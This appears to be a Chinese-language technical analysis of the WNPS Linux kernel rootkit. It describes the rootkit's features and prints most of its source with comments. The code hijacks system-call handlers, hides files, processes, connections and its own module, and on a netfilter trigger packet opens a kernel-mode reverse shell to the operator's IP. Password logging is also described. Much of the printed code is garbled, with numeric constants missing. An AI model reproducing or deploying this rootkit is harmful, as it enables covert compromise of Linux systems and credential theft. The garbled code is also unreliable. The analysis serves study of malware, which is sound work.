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" alt="" />

0x2: Features

Wnps(wnps is not poc shell)是一款运行在Linux 2.6.x平台的rootkit+backdoor程序

. 隐藏
) 隐藏指定文件
) 隐藏文件中"特定的内容"
) 隐藏进程
) "动态隐藏"网络连接、进程(类似sk的动态隐藏技术)
) 隐藏自身模块
) 保护相关模块、进程、文件不被跟踪 . 密码记录(ssh, su, mysql, pop3, passwd etc) . 内核反弹后门(Backdoor功能)
) 正向连接后门
) 定时回连后门
回连部分可以稳定的与客户端进行通讯,上线方式为HTTP、或DNS
) 置定时自动回连 . 稳定性和通用性:
) 兼容性
wnps能在2.6.0-2.6.24之间的x86,amd平台下稳定运行,跨平台简易安装拿着一个wnps.ko就可以管理所有2.6内核的机器,所有要做的事情只是执行insmod wnps.ko
) 模块注射
比adore-ng更稳定的模块注射方式 . 通讯加密 . 开机可以自动运行 . 客户端是一个可交互的控制台界面, 能控制多台主机

0x3: Code Analysis

这里以xfocus上的beta版wnps为样本进行分析

hook.h

#ifndef HOOK_H
#define HOOK_H #define PROC_HOME "/proc/kallsyms"
#define SYSENTER_ENTRY "sysenter_entry"
#define BUFF 100 #define READ_NUM 256 #define ORIG_EXIT 19
#define DIRECALL 42
#define SALTO 5
#define SKILL 49
#define SGETDENTS64 57
#define SREAD 65
#define DAFTER_CALL 70
#define DNRSYSCALLS 10 #define ASMIDType( valor ) \
__asm__ ( valor ); #define JmPushRet( valor ) \
ASMIDType \
( \
"push %0 \n" \
"ret \n" \
\
: : "m" (valor) \
); #define CallHookedSyscall( valor ) \
ASMIDType( "call *%0" : : "r" (valor) ); struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
}; static struct {
unsigned short limit;
unsigned long base;
}__attribute__ ((packed)) idt48; atomic_t read_activo;
spinlock_t wnps_lock = SPIN_LOCK_UNLOCKED; unsigned int system_call_addr;
void *sys_call_table_addr;
void **sys_call_table;
void *sysenter_entry; unsigned long dire_call,dire_exit,after_call; int errno; #endif

hook.c

/*
* WNPS V 0.26 beta2 *Wnps is not poc shell*
*
* Linux rootkit for x86 2.6.x kernel
*
*/ #ifndef __KERNEL__
#define __KERNEL__
#endif #ifndef MODULE
#define MODULE
#endif #ifdef MODVERSIONS
#include <linux/modversions.h>
#endif #include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/file.h>
#include <linux/proc_fs.h>
#include <linux/namei.h>
#include <linux/dirent.h>
#include <linux/kobject.h>
#include <linux/ip.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/list.h>
#include <linux/ptrace.h>
#include <linux/spinlock.h>
#include <linux/tty.h>
#include <linux/tty_driver.h>
#include <linux/timer.h>
#include <linux/jiffies.h>
#include <net/tcp.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include "config.h"
#include "hook.h"
#include "syscalls.h"
#include "host.h" static inline my_syscall0(pid_t, fork); asmlinkage long (*orig_getdents64)(unsigned int fd, struct dirent64 *dirp, unsigned int count);
asmlinkage ssize_t (*orig_read)(int fd, void *buf, size_t nbytes);
//asmlinkage ssize_t (*orig_write)(int fd,void *buf,size_t count);
int (*old_tcp4_seq_show)(struct seq_file *,void *); asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count);
asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes);
asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count);
asmlinkage long Sys_chdir(const char __user *filename);
asmlinkage int Sys_kill(pid_t pid,int sig);
asmlinkage long Sys_ptrace(long request,long pid,long addr,long data); /*
* function in shell.c
*/
extern unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *)); extern int netfilter_test_init(void);
extern void netfilter_test_exit(void); extern int kshell(int ip,int port);
extern __u32 wnps_in_aton(const char *str);
extern struct nf_hook_ops nfho; extern unsigned long myowner_port;
extern unsigned long myowner_ip;
extern unsigned int wztshell;
extern char connect_ip[]; /*
* function in klogger.c
*/
extern void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count);
extern void (*old_receive_buf)(struct tty_struct *,const unsigned char *,char *,int); int hook_init(void); static char read_buf[BUFF]; unsigned long sysenter; /*
static struct timer_list my_timer;
new_idt是用来进行系统调用中断劫持的idt跳转例程
*/
void new_idt(void)
{
ASMIDType
(
"cmp %0, %%eax \n"
"jae syscallmala \n"
"jmp hook \n" "syscallmala: \n"
"jmp dire_exit \n" : : "i" (NR_syscalls)
);
} /*
set_idt_handler: 劫持指定的中断例程(即劫持idt中的某个元素)
这里传入的是system_call,即劫持系统调用这个idt中断例程
*/
void set_idt_handler(void *system_call)
{
unsigned char *p;
unsigned long *p2; p = (unsigned char *) system_call;
while (!((*p == 0x0f) && (*(p+) == 0x83)))
{
p++;
}
p -= ;
*p++ = 0x68; p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2;
*p = 0xc3; while (!((*p == 0x0f) && (*(p+) == 0x82)))
{
p++;
}
p -= ; *p++ = 0x68;
p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2;
*p = 0xc3;
} /*
sysenter属于系统调用中的一个调用(它有自己的调用号)
set_sysenter_handler()负责劫持sysenter(快速系统调用)
*/
void set_sysenter_handler(void *sysenter)
{
unsigned char *p;
unsigned long *p2;
p = (unsigned char *) sysenter; while (!((*p == 0xff) && (*(p+) == 0x14) && (*(p+) == 0x85)))
{
p++;
}
while (!((*p == 0x0f) && (*(p+) == 0x83)))
{
p--;
}
p -= ;
*p++ = 0x68; p2 = (unsigned long *) p;
*p2++ = (unsigned long) ((void *) new_idt); p = (unsigned char *) p2;
*p = 0xc3;
} void hook(void)
{
register int eax asm("eax");
/*
根据传入的系统调用号执行指定的hooked函数
*/
switch(eax)
{
case __NR_getdents64:
CallHookedSyscall(Sys_getdents64);
break;
case __NR_read:
CallHookedSyscall(Sys_read);
break;
/*
case __NR_write:
CallHookedSyscall(Sys_write);
break;
*/
default:
JmPushRet(dire_call);
break;
} JmPushRet( after_call );
} /**
* read_kallsyms - find sysenter(快速系统调用) address in /proc/kallsyms.
*
* success return the sysenter address,failed return 0.
*/
int read_kallsyms(void)
{
mm_segment_t old_fs;
ssize_t bytes;
struct file *file = NULL;
char *p,temp[];
int i = ; file = filp_open(PROC_HOME,O_RDONLY,);
if (!file)
{
return -;
}
if (!file->f_op->read)
{
return -;
}
old_fs = get_fs();
set_fs(get_ds()); while((bytes = file->f_op->read(file,read_buf,BUFF,&file->f_pos)))
{
if (( p = strstr(read_buf,SYSENTER_ENTRY)) != NULL)
{
while (*p--)
{
if (*p == '\n')
{
break;
}
}
while (*p++ != ' ')
{
temp[i++] = *p;
}
temp[--i] = '\0';
sysenter = simple_strtoul(temp,NULL,); #if DEBUG == 1
printk("0x%8x\n",sysenter);
#endif
break;
}
}
filp_close(file,NULL); return ;
} /*
通过/proc/kallsyms获得sysenter的地址
*/
void *get_sysenter_entry(void)
{
void *psysenter_entry = NULL;
unsigned long v2; if (boot_cpu_has(X86_FEATURE_SEP))
{
rdmsr(MSR_IA32_SYSENTER_EIP, psysenter_entry, v2);
}
else
{
#if DEBUG == 1
printk("[+] serach sysenter_entry...");
#endif
/*
通过/proc/kallsyms获得sysenter的地址
*/
read_kallsyms();
if (sysenter == )
{
#if DEBUG == 1
printk("[-] Wnps installed failed.\n");
#endif
}
return ((void *) sysenter);
} return(psysenter_entry);
} /*
搜索sys_call_table的地址
这里采用的是内存汇编代码暴力搜索的思路,因为syscall()系统调用对应的汇编代码是: 0x008514ff
*/
void *get_sct_addr(unsigned int system_call)
{
unsigned char *p;
unsigned long s_c_t; p = (unsigned char *) system_call;
while (!((*p == 0xff) && (*(p+) == 0x14) && (*(p+) == 0x85)))
{
p++;
} dire_call = (unsigned long) p; p += ;
s_c_t = *((unsigned long *) p); p += ;
after_call = (unsigned long) p; while (*p != 0xfa) /* cli */
p++; dire_exit = (unsigned long) p; return((void *) s_c_t);
} /*
Sys_getdents64调用劫持实现进程的隐藏
对于linux系统,可以获得当前进程的指令有:
1. ll /proc
2. ps
3. top
这些系统指令到了内核系统调用这个层面,全都需要通过"getdents64"这个系统调用进行实现
wnps在对getdents64进行劫持的函数中,对指定进程信息进行了过滤,从而获得到了比简单修改/proc更好的效果
*/
asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count)
{
struct dirent64 *td1, *td2;
long ret, tmp;
unsigned long hpid, nwarm;
short int hide_process, hide_file; /* first we get the orig information */
ret = (*orig_getdents64) (fd, dirp, count);
if (!ret)
{
return ret;
}
/* get some space in kernel */
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
if (!td2)
{
return ret;
}
/* copy the dirp struct to kernel space */
__copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret;
while (tmp > )
{
tmp -= td1->d_reclen;
hide_file = ;
hide_process = ;
hpid = ;
hpid = simple_strtoul(td1->d_name, NULL, ); /*
If we got a file like digital,it may be a task in the /proc.
So check the task with the task pid.
*/
if (hpid != )
{
struct task_struct *htask = current;
do
{
if(htask->pid == hpid)
{
break;
}
else
{
htask = next_task(htask);
} } while (htask != current); /* we get the task which will be hide */
if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL)))
{
hide_process = ;
}
} if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL))
{
ret -= td1->d_reclen;
hide_file = ;
/* we cover the task information */
if (tmp)
{
memmove(td1, (char *) td1 + td1->d_reclen, tmp);
}
}
/* we hide the file */
if ((tmp) && (hide_file))
{
td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);
}
}
nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
kfree(td2); return ret;
} /*
Sys_read是我们的hook函数,实现对read系统调用的劫持
在这个hooded_read系统调用中,我们实现了kernel space的soclet反向连接,大致流程如下
if(wztshell == 1)
{
//wztshell==1表明当前rootkit的shell已经被激活(已经通过netfilter过滤机制接收到了指令段发送的激活指令)
从肉鸡端主动向远程主控方建立tcp socket连接
}
*/
asmlinkage ssize_t Sys_read(int fd, void *buf, size_t nbytes)
{
ssize_t ret; /* we will start a shell */
if (wztshell == )
{
#if DEBUG == 1
printk(KERN_ALERT "[+] got my owner's packet.\n");
#endif
wztshell = ;
if (!fork())
{
kshell(myowner_ip,myowner_port);
}
}
/*
在劫持函数的最后要继续执行原本系统调用的功能,保证系统运行的正常
*/
ret = orig_read(fd,buf,nbytes); return ret;
}
/*
asmlinkage ssize_t Sys_write(int fd,void *buf,size_t count)
{
char *replace = " ";
char *tmp_buf,*p; tmp_buf = (char *)kmalloc(READ_NUM,GFP_KERNEL);
if (tmp_buf == NULL)
return orig_write(fd,buf,count); copy_from_user(tmp_buf,buf,READ_NUM - 1); if (connect_ip[0] != 0 || connect_ip[0] != '\0') {
if ((p = strstr(tmp_buf,connect_ip)) != NULL) {
// spin_lock(&wnps_lock);
strncpy(p,replace,strlen(replace));
// spin_unlock(&wnps_lock);
copy_to_user((void *)buf,(void *)tmp_buf,READ_NUM);
kfree(tmp_buf);
return count;
}
} kfree(tmp_buf); return orig_write(fd,buf,count);
}
*/ char *strnstr(const char *haystack,const char *needle,size_t n)
{
char *s = strstr(haystack,needle); if (s == NULL)
{
return NULL;
}
if (s - haystack + strlen(needle) <= n)
{
return s;
}
else
{
return NULL;
}
} int hacked_tcp4_seq_show(struct seq_file *seq, void *v)
{
int retval = old_tcp4_seq_show(seq, v);
char port[];
sprintf(port,"%04X",ntohs(myowner_port));
/*
过滤(屏蔽)掉指定的tcp连接状态
*/
if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ)
{
seq->count -= TMPSZ;
} return retval;
} /*
hook.o模块入口初始化函数
*/
int wnps_init(void)
{
/*
struct descriptor_idt
{
unsigned short offset_low;
unsigned short ignore1;
unsigned short ignore2;
unsigned short offset_high;
};
*/
struct descriptor_idt *pIdt80;
/*
指向当前模块的指针
在module.h 中 THIS_MODULE的定义如下:
extern struct module __this_module;
#define THIS_MODULE (&__this_module)
即是保存了__this_module这个对象的地址,那这个__this_module在哪里定义呢?这就要从module的编译说起啦,如果编译过模块就会发现,会生成*.mod.c这样的一个文件,打开这个文件,就会发现,类似下面的定义:
struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) =
{
.name = KBUILD_MODNAME,
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
};
http://www.cnblogs.com/ziziwu/archive/2012/07/06/2578283.html
*/
struct module *m = &__this_module;
/*
include/net/tcp.h
struct tcp_seq_afinfo
{
char *name;
sa_family_t family;
const struct file_operations *seq_fops;
struct seq_operations seq_ops;
};
*/
struct tcp_seq_afinfo *my_afinfo = NULL;
/*
struct proc_dir_entry
{
unsigned short low_ino;
unsigned short namelen;
const char *name;
mode_t mode;
nlink_t nlink;
uid_t uid;
gid_t gid;
unsigned long size;
struct inode_operations * proc_iops;
struct file_operations * proc_fops;
get_info_t *get_info;
struct module *owner;
struct proc_dir_entry *next, *parent, *subdir;
void *data;
read_proc_t *read_proc;
write_proc_t *write_proc;
atomic_t count;
int deleted;
kdev_t rdev;
};
proc_net->subdir用于获取"linux虚拟通道/proc/net下的接口"
关于/proc请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3883713.html
*/
struct proc_dir_entry *my_dir_entry = proc_net->subdir; if (m->init == wnps_init)
{
list_del(&m->list);
} #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,11)
kobject_unregister(&m->mkobj.kobj);
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,8)
kobject_unregister(&m->mkobj->kobj);
#endif
__asm__ volatile ("sidt %0": "=m" (idt48));
/*
idt表是一个"8字节"长度的元素数据
idt48.base + 8*0x80: 系统调用对应的中断号是0x80
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + *0x80);
/*
系统调用例程的基地址
*/
system_call_addr = (pIdt80->offset_high << | pIdt80->offset_low);
/*
这是一种很好的调试编码方式,将需要调试的开关用宏来控制,可以很方便的在内核编程的时候进行printk调试
*/
#if DEBUG == 1
printk(KERN_ALERT "[+] system_call addr : 0x%8x\n",system_call_addr);
#endif /*
搜索sys_call_table的地址
*/
sys_call_table_addr = get_sct_addr(system_call_addr); #if DEBUG == 1
printk(KERN_ALERT "[+] sys_call_table addr : 0x%8x\n",(unsigned int)sys_call_table_addr);
#endif sys_call_table = (void **)sys_call_table_addr;
/*
获取sysenter的入口地址
*/
sysenter_entry = get_sysenter_entry(); wztshell = ;
atomic_set(&read_activo,);
/*
因为我们需要劫持read这个系统调用,所以在hook前需要保存原始的函数地址
read这个系统调用和文件、目录、设备的读写有关,我们要进行rootkit的隐藏工作,这个系统调用的hook是必不可少的
*/
orig_read = sys_call_table[__NR_read];
//orig_write = sys_call_table[__NR_write];
/*
getdents64这个系统调用涉及到目录、文件的枚举(例如ls命令)
http://www.cppblog.com/momoxiao/archive/2010/04/04/111594.html
*/
orig_getdents64 = sys_call_table[__NR_getdents64]; /*
通过IDT寄存器劫持当前系统中的"系统调用中断idt例程"
*/
set_idt_handler((void *)system_call_addr);
/*
通过sysenter劫持当前系统中的"系统调用中断idt例程"
*/
set_sysenter_handler(sysenter_entry);
/*
找到/proc/net/tcp这个目录
*/
while (strcmp(my_dir_entry->name, "tcp"))
{
my_dir_entry = my_dir_entry->next;
}
if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
//保留原始的/proc/net/tcp列表
old_tcp4_seq_show = my_afinfo->seq_show;
/*
将/proc/net/tcp替换为"hacked_tcp4_seq_show",这个函数会根据配置文件隐藏指定tcp连接记录
*/
my_afinfo->seq_show = hacked_tcp4_seq_show;
}
/*
注册一个netfilter回调函数,监控所有的入口tcp数据报,有两个目的
1) 过滤掉指定的tcp soccket连接
2) 通过监控关键字"TCP_SHELL_KEY",实现无连接方式shell开启
*/
netfilter_test_init(); #if DEBUG == 1
printk(KERN_ALERT "[+] Wnps installed successfully!\n");
#endif return ;
} void wnps_exit(void)
{
/*
* We do nothing here!
*/
} module_init(wnps_init);
module_exit(wnps_exit); MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

总结一下,wnps所使用到的技术关键点如下

1. 无连接方式SHELL激活

wnps可以通过发送tcp数据报来激活shell,即就算目标主机("肉鸡")不监听任何ip和端口,我们也可以通过wnps的rootkit功能进行shell激活

我们知道,tcp数据报是传输层协议,主机在接收到一个tcp数据报的时候,如果发现dst(目的ip)是自己本机,则一定会接收下来,进行解包后传给上层(应用层),而在应用层有一个复用/解复用的过程,即应用层根据目的端口来决定将这个数据报发给哪个应用程序

而问题的关键就是: 在从传输层配发到相应的应用程序之前,需要经过netfilter的路由过程(netfilter的链式处理流程),而wnps就是通过注册了一个netfilter的回调函数,监控了所有的入口tcp流量,如果在tcp数据报中发现了"TCP_SHELL_KEY"(标识关键字,wnps提供这个标志的可配置化),则表明客户端请求激活后门shell

通过这种巧妙的方式,真正做到了随机shell激活,而不需要像传统的方法那样让肉鸡listen住一个端口,然后等待连接,wnps的隐蔽性更好

/source/net/netfilter/core.c

int nf_register_hook(struct nf_hook_ops *reg)
{
struct nf_hook_ops *elem;
int err; err = mutex_lock_interruptible(&nf_hook_mutex);
if (err < )
{
return err;
}
list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list)
{
if (reg->priority < elem->priority)
{
break;
}
}
list_add_rcu(&reg->list, elem->list.prev);
mutex_unlock(&nf_hook_mutex);
#if defined(CONFIG_JUMP_LABEL)
static_key_slow_inc(&nf_hooks_needed[reg->pf][reg->hooknum]);
#endif
return ;
}

kshell.c

/**
register a netfilter hooks,hook.c will use it.
*/
int netfilter_test_init(void)
{
//注册的回调函数
nfho.hook = hook_func;
nfho.owner = NULL;
nfho.pf = PF_INET;
nfho.hooknum = NF_IP_PRE_ROUTING;
nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); return ;
}

实现了对PRE_ROUTING的前向过滤动作,直接完成在传输层的shell开启功能,关于netfilter的相关链式处理方式,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/3708222.html

2. netfilter注册回调+/proc/net/tcp修改双重过滤,实现网络连接状态隐藏

我们知道,netstat命令是通过读取/proc/net来获取当前linux系统的网络连接状态信息的,传统的rootkit会对/proc/net这个连接内核的虚拟目录进行修改以此来达到隐藏socket连接状态的目的,但很多的检测系统也因此开发出了内核检测机制以此来对抗针对/proc/net的攻击方式

针对这种情况,wnps在修改/proc/net的基础上加上了netfilter注册回调过滤机制,通过直接在netfilter的hook点上注册过滤函数,根据配置文件直接屏蔽指定的tcp连接,以此来获得更大的灵活性

3. 劫持当前系统中的"系统调用中断idt例程"

搜索的方法是比较传统的"关键字内存暴力搜索"方式,即

p=='\xff' && p[i+]=='\x14' && p[i+]=='\x85'

4. 劫持系统中关键系统调用

. 劫持sysenter(快速系统调用)这个系统调用

. 劫持getdents64系统调用
getdents64涉及到目录、文件的枚举(例如ls命令) . 劫持read系统调用
文件、目录、设备、加载LKM模块的隐藏

5. kernel mode socket connect back(内核态反向回连)

wnps在read的系统调用劫持函数中加入了内核态反向回连的触发代码,大致流程如下

if(wztshell == )
{
//wztshell==1表明当前rootkit的shell已经被激活(已经通过netfilter过滤机制接收到了指令段发送的激活指令)
从肉鸡端主动向远程主控方建立tcp socket连接
}

6. 基于系统调用hook的进程隐藏

对于linux系统,可以获得当前进程的指令有:

. ll /proc
. ps
. top

这些系统指令到了内核系统调用这个层面,全都需要通过"getdents64"这个系统调用进行实现
wnps在对getdents64进行劫持的函数中,对指定进程信息(dirent64结构体)进行了过滤,从而获得到了比简单修改/proc更好的效果

7. 通信加密

/**
* encryptcode - encrypt strings in a buf.
* @buf: strings in it.
* @count: the length of buf.
*
* we can use random char to improve encrypt strength.
*/
void encrypt_code(char *buf,int count)
{
char *p;
int i,j; for (i = ; i < ; i++)
for (p = buf,j = ; j < count; j++,p++)
*p = *p ^ xorkeys[i];
}

wnps对通信数据进行了异或加密

aaarticlea/png;base64,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